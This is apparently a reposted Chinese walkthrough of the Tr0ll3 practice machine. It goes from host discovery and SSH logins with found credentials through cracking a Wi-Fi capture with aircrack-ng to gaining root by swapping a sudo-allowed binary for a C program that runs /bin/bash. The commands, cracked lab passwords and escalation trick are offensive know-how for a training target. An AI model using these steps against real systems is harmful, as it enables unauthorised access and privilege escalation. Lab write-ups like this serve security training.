Tr0ll3靶机通关

admin 2025年3月30日19:47:28评论4 views字数 1844阅读6分8秒阅读模式

一、主机发现

arp-scan -l
Tr0ll3靶机通关

得到靶机ip为192.168.55.155

二、拿到低权限账号

靶机就开放了22端口,去靶机页面一看,给出来了低权限的账号密码

Tr0ll3靶机通关
ssh [email protected]
Tr0ll3靶机通关

成功登陆

三、提权

3.1靶机信息收集

Tr0ll3靶机通关

寻找定时任务

crontab -l

没找到定时任务

找一下suid命令

find / -perm  -4000 -print 2>/dev/null
Tr0ll3靶机通关

发现该用户不能使用sudo命令

3.2登陆wytshadow用户

寻找可读可写可执行的文件

find / -type f -perm -0777 -print 2>/dev/null
Tr0ll3靶机通关

利用scp命令将这两个文件下载到kali本地中

scp [email protected]:/var/log/.dist-manage/wytshadow.cap .
scp [email protected]:/.hints/lol/rofl/roflmao/this/isnt/gonna/stop/anytime/soon/still/going/lol/annoyed/almost/there/jk/no/seriously/last/one/rofl/ok/ill/stop/however/this/is/fun/ok/here/rofl/sorry/you/made/it/gold_star.txt .
Tr0ll3靶机通关

其中这个txt文件看着像字典

这个cap文件用wireshark打开

Tr0ll3靶机通关

这不是常规的通讯数据包,其中的802.11是无线协议通信

尝试进行爆破

aircrack-ng -w gold star.txt wytshadow.cap
Tr0ll3靶机通关

成功爆破出来了密码

尝试登陆wytshadow用户

ssh [email protected]
gaUoCe34t1
Tr0ll3靶机通关

成功登陆

3.3登陆genphlux用户

发现可以使用nginx命令

Tr0ll3靶机通关

启动一下nginx服务试试

sudo service nginx start
systemctl status nginx.service
Tr0ll3靶机通关

使用namp扫描一下端口,看看nginx开放的是哪个端口

nmap --min-rate 10000 -p- 192.168.55.155
Tr0ll3靶机通关

发现是8080端口开放

使用火狐浏览器访问

Tr0ll3靶机通关

发现访问不到

寻找配置文件查看原因

在/etc/nginx/sites-available目录下的default文件找到了答案

需要使用lynx进行查看

注:

lynx:是一个文本模式的网页浏览器

Tr0ll3靶机通关

安装lynx

sudo apt-get install lynx

查看网页信息

lynx http://192.168.55.155:8080
Tr0ll3靶机通关

又找到了一个账户

genphlux
HF9nd0cR!

使用该账户进行登陆

ssh [email protected]
HF9nd0cR!
Tr0ll3靶机通关

发现该用户可以使用apache2

启动apache2后,发现80端口打开

Tr0ll3靶机通关

火狐还是访问不到

试试lynx

也没有访问到信息

继续信息收集了

3.4登陆maleus用户

在该用户目录下找到了ssh私钥

Tr0ll3靶机通关

尝试登陆

先将该密钥下载到kali本机中

scp [email protected]:/home/genphlux/maleus .

登陆maleus用户

chmod 600 maleus
ssh -i maleus [email protected]
Tr0ll3靶机通关

继续进行信息收集

在.viminfo中找到了密码信息:B^slc8I$

Tr0ll3靶机通关

3.5提权

继续查找sudo命令

Tr0ll3靶机通关

此文件就在该用户的目录下

此时我们要做的就是修改该文件的内容,将提权语句插入其中

mv dont_even_bother dont_even_bother.c
Tr0ll3靶机通关

然后编辑该文件

int main ()
{
       system("/bin/bash");
}

编译该文件

gcc -o dont_even_bother dont_even_bother.c
Tr0ll3靶机通关

报错了,让我们加入参数

gcc -o dont_even_bother dont_even_bother.c -Wno-implicit-function-declaration
注:
-Wno-implicit-function-declaration 是 GCC 编译器的一个选项,其作用是关闭 “隐式函数声明” 的警告。当你在编译命令里添加这个选项后,编译器在遇到隐式声明的函数时,就不会再发出警告。所以,使用这个命令编译时,之前的警告信息将不会再显示。

然后执行该文件即可

Tr0ll3靶机通关

成功提权!

原文始发于微信公众号(泷羽Sec-pp502的安全笔记):Tr0ll3靶机通关

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年3月30日19:47:28
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Tr0ll3靶机通关http://cn-sec.com/archives/3899171.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息